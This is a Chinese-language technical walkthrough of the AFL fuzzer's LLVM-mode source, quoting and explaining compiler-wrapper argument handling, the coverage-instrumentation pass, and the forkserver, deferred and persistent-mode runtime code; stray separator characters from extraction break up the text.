cc_params[cc_par_cnt++] = "-Qunused-arguments";
|
||||
|
||||
while (--argc) {
|
||||
u8* cur = *(++argv);
|
||||
|
||||
if (!strcmp(cur, "-m32")) bit_mode = 32;
|
||||
if (!strcmp(cur, "armv7a-linux-androideabi")) bit_mode = 32;
|
||||
if (!strcmp(cur, "-m64")) bit_mode = 64;
|
||||
if (!strcmp(cur, "-x")) x_set = 1;
|
||||
if (!strcmp(cur, "-fsanitize=address") ||
|
||||
!strcmp(cur, "-fsanitize=memory")) asan_set = 1;
|
||||
if (strstr(cur, "FORTIFY_SOURCE")) fortify_set = 1;
|
||||
if (!strcmp(cur, "-Wl,-z,defs") ||
|
||||
!strcmp(cur, "-Wl,--no-undefined")) continue;
|
||||
|
||||
cc_params[cc_par_cnt++] = cur;
|
||||
}
|
||||
|
||||
if (getenv("AFL_HARDEN")) {
|
||||
|
||||
cc_params[cc_par_cnt++] = "-fstack-protector-all";
|
||||
if (!fortify_set)
|
||||
cc_params[cc_par_cnt++] = "-D_FORTIFY_SOURCE=2";
|
||||
}
|
||||
|
||||
if (!asan_set) {
|
||||
if (getenv("AFL_USE_ASAN")) {
|
||||
if (getenv("AFL_USE_MSAN"))
|
||||
FATAL("ASAN and MSAN are mutually exclusive");
|
||||
if (getenv("AFL_HARDEN"))
|
||||
FATAL("ASAN and AFL_HARDEN are mutually exclusive");
|
||||
cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";
|
||||
cc_params[cc_par_cnt++] = "-fsanitize=address";
|
||||
} else if (getenv("AFL_USE_MSAN")) {
|
||||
if (getenv("AFL_USE_ASAN"))
|
||||
FATAL("ASAN and MSAN are mutually exclusive");
|
||||
if (getenv("AFL_HARDEN"))
|
||||
FATAL("MSAN and AFL_HARDEN are mutually exclusive");
|
||||
cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";
|
||||
cc_params[cc_par_cnt++] = "-fsanitize=memory";
|
||||
}
|
||||
}
|
||||
#ifdef USE_TRACE_PC
|
||||
if (getenv("AFL_INST_RATIO"))
|
||||
FATAL("AFL_INST_RATIO not available at compile time with 'trace-pc'.");
|
||||
#endif /* USE_TRACE_PC */
|
||||
|
||||
if (!getenv("AFL_DONT_OPTIMIZE")) {
|
||||
cc_params[cc_par_cnt++] = "-g";
|
||||
cc_params[cc_par_cnt++] = "-O3";
|
||||
cc_params[cc_par_cnt++] = "-funroll-loops";
|
||||
}
|
||||
if (getenv("AFL_NO_BUILTIN")) {
|
||||
cc_params[cc_par_cnt++] = "-fno-builtin-strcmp";
|
||||
cc_params[cc_par_cnt++] = "-fno-builtin-strncmp";
|
||||
cc_params[cc_par_cnt++] = "-fno-builtin-strcasecmp";
|
||||
cc_params[cc_par_cnt++] = "-fno-builtin-strcasecmp";
|
||||
cc_params[cc_par_cnt++] = "-fno-builtin-memcmp";
|
||||
}
|
||||
cc_params[cc_par_cnt++] = "-D__AFL_HAVE_MANUAL_CONTROL=1";
|
||||
cc_params[cc_par_cnt++] = "-D__AFL_COMPILER=1";
|
||||
cc_params[cc_par_cnt++] = "-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1";
|
||||
cc_params[cc_par_cnt++] = "-D__AFL_LOOP(_A)="
|
||||
"({ static volatile char *_B __attribute__((used)); "
|
||||
" _B = (char*)\"" PERSIST_SIG "\"; "
|
||||
... ...
|
||||
"_L(_A); })";
|
||||
cc_params[cc_par_cnt++] = "-D__AFL_INIT()="
|
||||
"do { static volatile char *_A __attribute__((used)); "
|
||||
" _A = (char*)\"" DEFER_SIG "\"; "
|
||||
... ...
|
||||
"_I(); } while (0)";
|
||||
|
||||
if (x_set) {
|
||||
cc_params[cc_par_cnt++] = "-x";
|
||||
cc_params[cc_par_cnt++] = "none";
|
||||
}
|
||||
... ...
|
||||
cc_params[cc_par_cnt] = NULL;
|
||||
}
|
||||
```
|
||||
|
||||
1. 分配 `cc_params` 使用的内存:`ck_alloc((argc + 128) * sizeof(u8*))`,然后去提取 `argv[0]` ;
|
||||
2. 如果是 `afl-clang-fast++` ,则获取 `AFL_CXX` 编译器,有则直接赋值,没有直接使用 `clang++`;如果是其他值,则获取 `AFL_CC` ,有则直接复制,没有直接使用 `clang`;
|
||||
3. 判断是否开启宏 `USE_TRACE_PC`,如果开启,添加参数 `-fsanitize-coverage=trace-pc-guard -Qunused-arguments` 到 `cc_params` ;如果没有开启则添加 ` -Xclang -load -Xclang $afl_path/afl-llvm-pass.so -Qunused-arguments` ;
|
||||
4. `while(--argc)` 循环来处理每个参数:
|
||||
1. 如果有 `-m32` 或 `armv7a-linux-androideabi` ,设置 `bit_mode = 32`, 表示32位程序;如果是 `-m64` ,则设置 `bit_mode=64`,表示64位程序;
|
||||
2. 如果有 `-x` ,设置 `x_set=1`;
|
||||
3. 如果有 `-fsanitize=address/memory`,则设置 `asan_set=1`,表示启用 ASan 的错误检测;
|
||||
4. 如果有 `FORTIFY_SOURCE`, 则设置 `fortify_set=1`,表示开启 Fortify;
|
||||
5. 如果有 `-Wl,-z,defs` 或者 `-Wl,--no-undefined`,直接进入下一个参数;
|
||||
6. 把每个参数放入 `cc_params` 数组。
|
||||
5. 获取环境变量 `AFL_HARDEN` ,如果存在, 添加参数 `-fstack-protector-all`;如果没有设置 `fortify_set`, 则添加 `-D_FORTIFY_SOURCE=2`;
|
||||
6. 接下来是内存检测的判断,如果没有设置 `asan_set`,则获取环境变量 `AFL_USE_ASAN` ,且不存在 `AFL_USE_MSAN` 及`AFL_HARDEN` 的情况下,添加参数 `-U_FORTIFY_SOURCE -fsanitize=address`;如果获取失败,则尝试获取 `AFL_USE_MSAN` ,并添加参数 `-U_FORTIFY_SOURCE -fsanitize=memory`;
|
||||
7. 然后是插桩密度的设置:
|
||||
1. 如果定义了 `USE_TRACE_PC` 宏,表示使用 LLVM 内置功能,所以此时不能同时设置 `AFL_INST_RATIO` 变量来设置插桩密度;
|
||||
8. 获取 `AFL_DONT_OPTIMIZE` 变量,没有设置该变量表示可以进行编译优化,添加参数 `-g -O3 -funroll-loops`;
|
||||
9. 获取 `AFL_NO_BUILTIN`变量,进行了设置则追加 `-fno-builtin-strcmp` 等cmp类型的参数;
|
||||
10. 最后追加 `-D__AFL_HAVE_MANUAL_CONTROL=1 -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1`;
|
||||
11. 接下来是关于 `persistent mode` 相关的设置(该模式我们会在 `afl-fuzz.c` 的分析中再展开解释):设置宏 `__AFL_LOOP(_A) `和 宏 `__AFL_INIT()` ;
|
||||
12. 检查是否设置了 `x_set` ,如果设置则追加 `-x none` 参数。
|
||||
|
||||
该文件中对参数的处理逻辑整体上跟 `afl-gcc.c` 中的是一致的,只是根据不同的编译场景和选择在编译相关的参数方面会选择添加不同的编译选项。
|
||||
|
||||
# afl-llvm-pass.so.cc
|
||||
|
||||
## 1. 文件描述
|
||||
|
||||
该文件实现了 LLVM-mode 下的一个插桩 LLVM Pass,当通过 `afl-clang-fast` 调用 clang 时,该 pass 会被插入到 LLVM 中,告诉编译器需要添加与 `afl-as.h` 中逻辑类似的桩代码。
|
||||
|
||||
## 2. 文件架构
|
||||
|
||||
文件内部定义了一个 `AFLCoverage` 类,然后实现了一个 `runOnModule()` 函数,该函数完成核心的插桩工作。pass 的注册由 `registerAFLPass()` 函数完成。
|
||||
|
||||

|
||||
|
||||
## 3. 源码分析
|
||||
|
||||
对于 llvm pass 的注册部分我们不做关心,只关注实现插桩的 `runOnModule()` 函数。
|
||||
|
||||
文件中只有一个 pass:
|
||||
|
||||
```c++
|
||||
namespace {
|
||||
|
||||
class AFLCoverage : public ModulePass {
|
||||
|
||||
public:
|
||||
|
||||
static char ID;
|
||||
AFLCoverage() : ModulePass(ID) { }
|
||||
|
||||
bool runOnModule(Module &M) override;
|
||||
|
||||
// StringRef getPassName() const override {
|
||||
// return "American Fuzzy Lop Instrumentation";
|
||||
// }
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
该 Pass 会完成插桩的操作。
|
||||
|
||||
### runOnModule函数
|
||||
|
||||
```c++
|
||||
bool AFLCoverage::runOnModule(Module &M) {
|
||||
|
||||
LLVMContext &C = M.getContext();
|
||||
|
||||
IntegerType *Int8Ty = IntegerType::getInt8Ty(C);
|
||||
IntegerType *Int32Ty = IntegerType::getInt32Ty(C);
|
||||
|
||||
/* Show a banner */
|
||||
|
||||
char be_quiet = 0;
|
||||
if (isatty(2) && !getenv("AFL_QUIET")) {
|
||||
SAYF(cCYA "afl-llvm-pass " cBRI VERSION cRST " by <[email protected]>\n");
|
||||
} else be_quiet = 1;
|
||||
|
||||
/* Decide instrumentation ratio */
|
||||
|
||||
char* inst_ratio_str = getenv("AFL_INST_RATIO");
|
||||
unsigned int inst_ratio = 100;
|
||||
|
||||
if (inst_ratio_str) {
|
||||
if (sscanf(inst_ratio_str, "%u", &inst_ratio) != 1 || !inst_ratio ||
|
||||
inst_ratio > 100)
|
||||
FATAL("Bad value of AFL_INST_RATIO (must be between 1 and 100)");
|
||||
}
|
||||
|
||||
/* Get globals for the SHM region and the previous location. Note that
|
||||
__afl_prev_loc is thread-local. */
|
||||
|
||||
GlobalVariable *AFLMapPtr =
|
||||
new GlobalVariable(M, PointerType::get(Int8Ty, 0), false,
|
||||
GlobalValue::ExternalLinkage, 0, "__afl_area_ptr");
|
||||
|
||||
GlobalVariable *AFLPrevLoc = new GlobalVariable(
|
||||
M, Int32Ty, false, GlobalValue::ExternalLinkage, 0, "__afl_prev_loc",
|
||||
0, GlobalVariable::GeneralDynamicTLSModel, 0, false);
|
||||
|
||||
/* Instrument all the things! */
|
||||
|
||||
int inst_blocks = 0;
|
||||
for (auto &F : M)
|
||||
for (auto &BB : F) {
|
||||
BasicBlock::iterator IP = BB.getFirstInsertionPt();
|
||||
IRBuilder<> IRB(&(*IP));
|
||||
|
||||
if (AFL_R(100) >= inst_ratio) continue;
|
||||
|
||||
/* Make up cur_loc */
|
||||
|
||||
unsigned int cur_loc = AFL_R(MAP_SIZE);
|
||||
ConstantInt *CurLoc = ConstantInt::get(Int32Ty, cur_loc);
|
||||
|
||||
/* Load prev_loc */
|
||||
|
||||
LoadInst *PrevLoc = IRB.CreateLoad(AFLPrevLoc);
|
||||
PrevLoc->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
|
||||
Value *PrevLocCasted = IRB.CreateZExt(PrevLoc, IRB.getInt32Ty());
|
||||
|
||||
/* Load SHM pointer */
|
||||
|
||||
LoadInst *MapPtr = IRB.CreateLoad(AFLMapPtr);
|
||||
MapPtr->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
|
||||
Value *MapPtrIdx =
|
||||
IRB.CreateGEP(MapPtr, IRB.CreateXor(PrevLocCasted, CurLoc));
|
||||
|
||||
/* Update bitmap */
|
||||
|
||||
LoadInst *Counter = IRB.CreateLoad(MapPtrIdx);
|
||||
Counter->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
|
||||
Value *Incr = IRB.CreateAdd(Counter, ConstantInt::get(Int8Ty, 1));
|
||||
IRB.CreateStore(Incr, MapPtrIdx)
|
||||
->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
|
||||
|
||||
/* Set prev_loc to cur_loc >> 1 */
|
||||
|
||||
StoreInst *Store =
|
||||
IRB.CreateStore(ConstantInt::get(Int32Ty, cur_loc >> 1), AFLPrevLoc);
|
||||
Store->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
|
||||
inst_blocks++;
|
||||
}
|
||||
|
||||
/* Say something nice. */
|
||||
|
||||
if (!be_quiet) {
|
||||
if (!inst_blocks) WARNF("No instrumentation targets found.");
|
||||
else OKF("Instrumented %u locations (%s mode, ratio %u%%).",
|
||||
inst_blocks, getenv("AFL_HARDEN") ? "hardened" :
|
||||
((getenv("AFL_USE_ASAN") || getenv("AFL_USE_MSAN")) ?
|
||||
"ASAN/MSAN" : "non-hardened"), inst_ratio);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
```
|
||||
|
||||
1. 调用 `Module::getContext()` 来获取 LLVMContext,进程上下文;
|
||||
2. 获取环境变量 `AFL_INST_RATIO` 赋值给 `inst_ratio_str` ,插桩密度,并对其范围进行校验(1~100);
|
||||
3. 获取共享内存地址 `AFLMapPtr` 以及上一个位置的值 `AFLPrevLoc`;
|
||||
4. 使用 `for` 循环进行插桩:
|
||||
1. 遍历每个基本块,寻找BB中适合插入桩代码的位置,然后初始化 `IRBuilder` 实例执行插入工作;
|
||||
2. 如果插桩密度大于等于 `inst_ratio` ,跳出本次循环;
|
||||
3. 设置当前位置 `cur_loc = AFL_R(MAP_SIZE)`,并转换成Int类型作为位置ID;
|
||||
4. 通过 `AFLPrevLoc` 获取前一个位置的ID - `PrevLoc`;
|
||||
5. 插入 `load` 指令,通过 `AFLMapPtr` 获取共享内存地址 - `MapPtr`,进行计算获取索引:`Value *MapPtrIdx = IRB.CreateGEP(MapPtr, IRB.CreateXor(PrevLocCasted, CurLoc))`,这里的计算方式还是使用的异或;
|
||||
6. 更新 bitmap ,插入 `load` 指令,获取对应 index地址的值;插入 `add` 指令加一,然后创建 `store` 指令写入新值,并更新共享内存;
|
||||
7. 设置 `prev_loc to cur_loc >> 1` ,插入 `store` 指令,更新 `__afl_prev_loc`;
|
||||
8. 插桩计数 + 1;
|
||||
9. 扫描下一个BB,根据设置是否为quiet模式等,并判断 `inst_blocks` 是否为0,如果为0则说明没有进行插桩。
|
||||
|
||||
至此为止,通过 LLVM Pass 进行插桩的过程就已经完成。LLVM 的插桩是修改的 IR ,我们会在 AFL 的深入使用中再进行深度介绍。
|
||||
|
||||
# afl-llvm-rt.o.c
|
||||
|
||||
## 1. 文件描述
|
||||
|
||||
该文件是运行时库文件,重写了 `afl-as.h` 文件中的 `main_payload` 部分,实现了 llvm-mode 的3个特殊功能:`deferred instrumentation`、`persistent mode`、`trace-pc-guard mode`。
|
||||
|
||||
### 1. deferred instrumentation
|
||||
|
||||
AFL 会只执行一次目标二进制,然后在 `main()` 函数之前停下。然后去克隆当前进程(master进程)来进行fuzz。本质上是一种快照机制,这样避免多次运行程序,提升效率。
|
||||
|
||||
虽然这种机制可以减少程序运行在操作系统、链接器和libc级别的消耗,但是在面对大型配置文件的解析时,优势并不明显。为了解决这个问题,AFL 可以借助 LLVM 将 forkserver 的初始化延后,放在其他大部分初始化工作完成之后、二进制文件获取fuzz输入之前的位置,这在某些情况下可以提升大约10倍的性能。
|
||||
|
||||
首先,在代码中找一个地方存放进行延迟克隆的代码的位置,这些位置有如下要求
|
||||
|
||||
- 不能是任何创建虚拟线程或子进程的地方,forkserver 无法进行clone
|
||||
- 不能通过 `setitimer()` 或者类似的函数调用进行初始化的地方
|
||||
- 不能是任何访问 fuzz 输入的地方
|
||||
|
||||
然后,添加如下代码:
|
||||
|
||||
```c
|
||||
#ifdef __AFL_HAVE_MANUAL_CONTROL
|
||||
__AFL_INIT();
|
||||
#endif
|
||||
```
|
||||
|
||||
这个宏我们在 `afl-clang-fast` 中进行了定义。
|
||||
|
||||
最后,使用 `afl-clang-fast` 进行编译即可。
|
||||
|
||||
### 2. persistent mode
|
||||
|
||||
一些库会提供无状态或者状态在处理不同的输入文件时可以进行重置的API,遇到这种重置的情况时,可以重用一个长期存活的进程来尝试多个测试用例,从而消除反复 fork 造成的开销。
|
||||
|
||||
用代码表示这种思路如下所示:
|
||||
|
||||
```c
|
||||
while (__AFL_LOOP(1000)) {
|
||||
|
||||
/* Read input data. */
|
||||
/* Call library code to be fuzzed. */
|
||||
/* Reset state. */
|
||||
|
||||
}
|
||||
|
||||
/* Exit normally */
|
||||
```
|
||||
|
||||
设置一个while循环,指定循环次数,在循环内部,读入数据 -> 执行 fuzz -> 重置状态,这样就可以在一个进程生命周期内完成 fuzz 过程,本质上也可以看作是一种快照,只不过是更细粒度的一种快照。
|
||||
|
||||
`__AFL_LOOP`这个宏我们在 `afl-clang-fast` 中进行了定义,循环次数这里作者建议给到1000次,如果次数过高,可能会发生内存泄漏。
|
||||
|
||||
需要注意的是,在使用该模式时,需要确保程序状态可以得到完善的重置,否则可能产生很多意料之外的错误,这就要求对目标程序的代码理解需要深入一些。
|
||||
|
||||
在性能上比不上 libfuzzer ,但是会比 fork 机制快很多。
|
||||
|
||||
### 3. 'trace-pc-guard' mode
|
||||
|
||||
这种模式我们在前面已经有介绍,使用方法是在构建 `afl-clang-fast` 时指定 `AFL_TRACE_PC=1`。这种模式的好处是不要使用单独开发的 pass ,直接使用 LLVM 内置的功能。但是在性能上会比常规 `afl-clang-fast` 和 `afl-clang` 差一点。
|
||||
|
||||
## 2. 文件架构
|
||||
|
||||
文件包含的主要函数如下:
|
||||
|
||||

|
||||
|
||||
## 3. 源码分析
|
||||
|
||||
### 1. deferred instrumentation
|
||||
|
||||
该模式下会在代码中添加如下code:
|
||||
|
||||
```c
|
||||
#ifdef __AFL_HAVE_MANUAL_CONTROL
|
||||
__AFL_INIT();
|
||||
#endif
|
||||
```
|
||||
|
||||
而在 `__AFL_INIT()` 函数中,会调用 `__afl_manual_init` 函数,该函数源码如下:
|
||||
|
||||
```c
|
||||
void __afl_manual_init(void) {
|
||||
|
||||
static u8 init_done;
|
||||
|
||||
if (!init_done) {
|
||||
|
||||
__afl_map_shm();
|
||||
__afl_start_forkserver();
|
||||
init_done = 1;
|
||||
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
函数内部调用了 `__afl_map_shm()` 和 `__afl_start_forkserver()` 两个函数,判断逻辑是一个 `init_done` 变量,该变量表示了共享内存是否进行了初始化。如果没有,才会调用这两个函数。
|
||||
`__afl_map_shm()` 函数代码:
|
||||
|
||||
```c
|
||||
/* SHM setup. */
|
||||
|
||||
static void __afl_map_shm(void) {
|
||||
|
||||
u8 *id_str = getenv(SHM_ENV_VAR);
|
||||
|
||||
/* If we're running under AFL, attach to the appropriate region, replacing the
|
||||
early-stage __afl_area_initial region that is needed to allow some really
|
||||
hacky .init code to work correctly in projects such as OpenSSL. */
|
||||
|
||||
if (id_str) {
|
||||
|
||||
u32 shm_id = atoi(id_str);
|
||||
|
||||
__afl_area_ptr = shmat(shm_id, NULL, 0);
|
||||
|
||||
/* Whooooops. */
|
||||
|
||||
if (__afl_area_ptr == (void *)-1) _exit(1);
|
||||
|
||||
/* Write something into the bitmap so that even with low AFL_INST_RATIO,
|
||||
our parent doesn't give up on us. */
|
||||
|
||||
__afl_area_ptr[0] = 1;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
该函数的主要工作是进行共享内存的设置,首先读取环境变量 `SHM_ENV_VAR` 来获取共享内存,然后使用 `shmat` 赋值给 `__afl_area_ptr` 。
|
||||
|
||||
接下来是 `__afl_start_forkserver()` 函数,该函数的负责的是 forkserver 的配置工作,其代码如下:
|
||||
|
||||
```c
|
||||
static void __afl_start_forkserver(void) {
|
||||
|
||||
static u8 tmp[4];
|
||||
s32 child_pid;
|
||||
|
||||
u8 child_stopped = 0;
|
||||
|
||||
/* Phone home and tell the parent that we're OK. If parent isn't there,
|
||||
assume we're not running in forkserver mode and just execute program. */
|
||||
|
||||
if (write(FORKSRV_FD + 1, tmp, 4) != 4) return; // 向状态管道写入4字节,表示已准备好
|
||||
|
||||
while (1) { // 进入死循环
|
||||
|
||||
u32 was_killed;
|
||||
int status;
|
||||
|
||||
/* Wait for parent by reading from the pipe. Abort if read fails. */
|
||||
|
||||
if (read(FORKSRV_FD, &was_killed, 4) != 4) _exit(1); // 读取控制管道的4字节,读取失败的话,发生阻塞
|
||||
// 读取成功了,表示forkserver需要进行一次fuzz执行
|
||||
|
||||
/* If we stopped the child in persistent mode, but there was a race
|
||||
condition and afl-fuzz already issued SIGKILL, write off the old
|
||||
process. */
|
||||
|
||||
if (child_stopped && was_killed) { // 如果子进程停止了或者被kill了,设置child_stopped=0,并通过waitpid等待子进程执行完毕
|
||||
child_stopped = 0;
|
||||
if (waitpid(child_pid, &status, 0) < 0) _exit(1); // 如果等待子进程发生错误,阻塞
|
||||
}
|
||||
|
||||
if (!child_stopped) { // 如果没有子进程,则直接fork一个子进程去执行fuzz
|
||||
|
||||
/* Once woken up, create a clone of our process. */
|
||||
|
||||
child_pid = fork(); // 如果没有子进程在,就fork一个
|
||||
if (child_pid < 0) _exit(1);
|
||||
|
||||
/* In child process: close fds, resume execution. */
|
||||
|
||||
if (!child_pid) {
|
||||
|
||||
close(FORKSRV_FD); // 关闭子进程的状态管道和控制管道
|
||||
close(FORKSRV_FD + 1);
|
||||
return;
|
||||
}
|
||||
} else { // 如果存在子进程,则kill掉,进行重启
|
||||
|
||||
/* Special handling for persistent mode: if the child is alive but
|
||||
currently stopped, simply restart it with SIGCONT. */
|
||||
|
||||
kill(child_pid, SIGCONT);
|
||||
child_stopped = 0;
|
||||
}
|
||||
|
||||
/* In parent process: write PID to pipe, then wait for child. */
|
||||
|
||||
if (write(FORKSRV_FD + 1, &child_pid, 4) != 4) _exit(1); // 将子进程id写入状态管道
|
||||
if (waitpid(child_pid, &status, is_persistent ? WUNTRACED : 0) < 0) // 等待子进程执行结束
|
||||
_exit(1);
|
||||
|
||||
/* In persistent mode, the child stops itself with SIGSTOP to indicate
|
||||
a successful run. In this case, we want to wake it up without forking
|
||||
again. */
|
||||
|
||||
if (WIFSTOPPED(status)) child_stopped = 1;
|
||||
|
||||
/* Relay wait status to pipe, then loop back. */
|
||||
|
||||
if (write(FORKSRV_FD + 1, &status, 4) != 4) _exit(1); // 子进程执行结束,向状态管道写入4字节,表示本次fuzz执行结束。
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
1. 首先设置 `child_stopped` 变量为0,该变量来描述子进程的状态;
|
||||
2. 向状态管道写入 4 字节,告知 fuzzer 已经准备好;
|
||||
3. 进入 while 循环,这里本质上就是 fuzz 的 loop:
|
||||
1. 读取控制管道的 4 字节数据,读取成功表示需要执行一次 fuzz ,失败表示阻塞,退出;
|
||||
2. 判断 `child_stopped` 和 `was_killed` 状态,如果子进程停止了或者被kill了,设置child_stopped=0,并通过waitpid等待子进程执行完毕;如果等待过程出错,退出;
|
||||
3. 判断 `child_stopped`
|
||||
1. 如果为0,表示没有子进程,调用 fork 启动一个子进程,并获取 pid 。此时子进程会关闭状态管道和控制管道,然后执行 return, 跳出循环,恢复正常执行;
|
||||
2. 如果为 1,表示子进程还在,只是被暂停了,所以通过 `kill(child_pid, SIGCONT)` 的方式来重启,并设置 `child_stopped` 为0。需要注意的是,这里是对 persistent mode 的特殊处理;
|
||||
4. 在父进程中,向状态管道写入 4 字节数据,然后等待子进程执行结束。对于 persistent mode 下,waitpid 还会设置第三个参数为 `WUNTRACED` ,表示如果子进程进入暂停状态,立刻返回;
|
||||
5. `WIFSTOPPED(status)` 宏确定返回值是否对应于一个暂停子进程,因为在 persistent mode 下,子进程会通过 `SIGSTOP` 来暂停自己,并以此指示运行成功,所以在这种情况下,我们需要再进行一次fuzz,就只需要和上面一样,通过 `SIGCONT` 唤醒子进程继续执行即可,不需要再进行一次fuzz。设置 `child_stopped` 为 1;
|
||||
6. 子进程执行结束后,向状态管道写入 4 字节,通知 afl 本次 fuzz 执行结束。
|
||||
|
||||
### 2. persistent mode
|
||||
|
||||
前面有介绍过该模式,该模式的应用场景主要是一些库会提供无状态或者状态在处理不同的输入文件时可以进行重置的API,遇到这种重置的情况时,可以重用一个长期存活的进程来尝试多个测试用例,消除反复 fork 造成的开销。
|
||||
|
||||
用代码表示这种思路如下所示:
|
||||
|
||||
```c
|
||||
while (__AFL_LOOP(1000)) {
|
||||
|
||||
/* Read input data. */
|
||||
/* Call library code to be fuzzed. */
|
||||
/* Reset state. */
|
||||
|
||||
}
|
||||
|
||||
/* Exit normally */
|
||||
```
|
||||
|
||||
这里的循环次数不能为了方便就设置过大,过大的循环次数可能会发生一些类似内存泄漏的问题,官方给出的指导阈值是 1000 。
|
||||
|
||||
这里会调用 `__afl_persistent_loop` 函数,该函数代码如下:
|
||||
|
||||
```c
|
||||
int __afl_persistent_loop(unsigned int max_cnt) {
|
||||
|
||||
static u8 first_pass = 1;
|
||||
static u32 cycle_cnt;
|
||||
|
||||
if (first_pass) { // 第一次执行
|
||||
|
||||
if (is_persistent) { // 如果是 persistent mode
|
||||
|
||||
memset(__afl_area_ptr, 0, MAP_SIZE); // 初始化__af_area_ptr处的内存
|
||||
__afl_area_ptr[0] = 1;
|
||||
__afl_prev_loc = 0;
|
||||
}
|
||||
|
||||
cycle_cnt = max_cnt;
|
||||
first_pass = 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (is_persistent) { // 如果是 persistent mode
|
||||
if (--cycle_cnt) { // 需要执行的循环数 - 1
|
||||
|
||||
raise(SIGSTOP); // 抛出 SIGSTOP 暂停当前进程
|
||||
|
||||
__afl_area_ptr[0] = 1;
|
||||
__afl_prev_loc = 0;
|
||||
|
||||
return 1;
|
||||
} else {
|
||||
|
||||
__afl_area_ptr = __afl_area_initial; // 指向无关数组
|
||||
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
函数本身其实比较简单:
|
||||
|
||||
1. 首先判断是不是第一次执行,如果是,再判断是否为 persistent mode,如果是,则初始化 `__afl_area_ptr` 指向的共享内存
|
||||
1. 如果是第一次执行,还会设置 `cycle_cnt` 的值为传入参数 `max_cnt`,然后将 `first_pass` 设置为0,下次再进来就不是第一次执行了;
|
||||
1. 如果是 persistent mode,首先将循环次数 -1,然后抛出 `SIGSTOP` 信号暂停当前进程,并设置 `__afl_area_ptr[0]=1`,`__afl_prev_loc = 0`。
|
||||
1. 如果不是 persistent mode ,则设置 `__afl_area_ptr` 为一个无关数组。
|
||||
|
||||
这里向弄清楚 persistent mode 的运作机制,还需要了解一个函数 `__afl_auto_init`,其代码如下:
|
||||
|
||||
```c
|
||||
/* Proper initialization routine. */
|
||||
|
||||
__attribute__((constructor(CONST_PRIO))) void __afl_auto_init(void) {
|
||||
|
||||
is_persistent = !!getenv(PERSIST_ENV_VAR);
|
||||
|
||||
if (getenv(DEFER_ENV_VAR)) return;
|
||||
|
||||
__afl_manua l_init();
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
该函数会执行 persistent mode 的初始化工作,而且这里使用了 `__attribute__(constructor)` 来进行修饰,表明该函数会在 main 函数之前执行。
|
||||
|
||||
1. 函数首先判断 `PERSIST_ENV_VAR` 环境变量来确定是否处于 persistent mode,赋值给 `is_persistent` 变量;
|
||||
2. 获取环境变量 `DEFER_ENV_VAR` 环境变量,如果成功获取,表明使用 deferred instrumentation 。我们在前面介绍这种模式时,它的初始化是自己选择时机进行手动初始化,而不是调用该函数,所以这两种模式的初始化不是同样的方法。
|
||||
3. 最后调用 `__afl_manual_init` 函数来执行实际的初始化操作。
|
||||
|
||||
我们以一个实际的例子来说明 persistent mode 的运作过程。假设开发fuzzer的代码如下:
|
||||
|
||||
```c
|
||||
... ...
|
||||
while (__AFL_LOOP(1000)){
|
||||
fuzzFunc();
|
||||
}
|
||||
... ...
|
||||
```
|
||||
|
||||
1. 在main函数之前,首先去执行 `__afl_auto_init(void)` 来进行初始化,主要是通过 `__afl_map_shm` 进行共享内存的读取和设置,通过 `__afl_fork_server` 来将当前进程设置为 fork server 和 fuzz 进行通信;
|
||||
|
||||
2. afl 发起 fuzz 通知,此时的 `child_stopped` 变量值为0, 所以进行 fork 一个子进程;
|
||||
|
||||
3. 子进程执行到 `__AFL_LOOP` 处,第一次执行循环,所以清空 `__afl_area_ptr` ,设置 `__afl_prev_loc` 的值为0,并向 `__afl_area_ptr` 指向的共享内存的第一个元素写入一个1,然后设置循环次数为1000,修改 `first_pass` 变量值为0,返回1,满足while的条件,开始执行 `fuzzFunc()`;
|
||||
|
||||
4. 第一次 `fuzzFunc()` 执行结束,再来到 `__AFL_LOOP`,此时循环次数 - 1 = 999,并抛出 `SIGSTOP` 信号暂停当前进程。因为在 `__afl_start_forkserver` 中设置了 `WUNTRACED` ,所以 waitpid 函数返回,fork server 进程继续执行;
|
||||
|
||||
5. fork server 进程接收到 `SIGSTOP` 信号,确认子进程执行结束,表示 `fuzzFunc` 执行结束,所以通过 `WIFSTOPPED` 设置 `child_stopped=1`,并向状态管道写入4字节,通知 afl ,表示本次 fuzz 执行结束;
|
||||
|
||||
6. 再次接收到 afl 的 fuzz 通知,此时 `child_stopped=1`, 所以不会再进行 fork ,而是通过 kill 的方式来恢复子进程,并设置 `child_stopped=0`;
|
||||
|
||||
7. 此时相当于重新执行程序,所以将 `__afl_prev_loc` 设置为0,并向共享内存的第一个元素写入1,然后直接返回1,此时`while(__AFL_LOOP)`满足条件,于是执行一次 `fuzzFunc`,然后因为是 while 循环,会再次进入`__AFL_LOOP`里,再次减少一次循环次数变成998,并发出信号暂停;
|
||||
|
||||
8. 上述过程重复执行,第1000次执行时,先恢复执行,然后返回1,然后执行一次 `fuzzFunc`,然后因为是while循环,会再次进 `__AFL_LOOP` 里,再次减少一次循环次数变成0,此时循环次数 `cnt` 已经被减到0,就不会再发出信号暂停子进程,而是设置`__afl_area_ptr`指向一个无关数组`__afl_area_initial`,随后将子进程执行到结束。
|
||||
|
||||
|
||||
|
||||
重新整理一下上面的逻辑
|
||||
|
||||
- loop 第一次执行,进行初始化,然后返回1,执行一次 `fuzzFunc`,然后 `cnt` 减到999,抛出信号暂停子进程。
|
||||
- loop 第二次执行,恢复执行,清空一些值,然后返回1,执行一次 `fuzzFunc`,然后 `cnt` 减到998,抛出信号暂停子进程。
|
||||
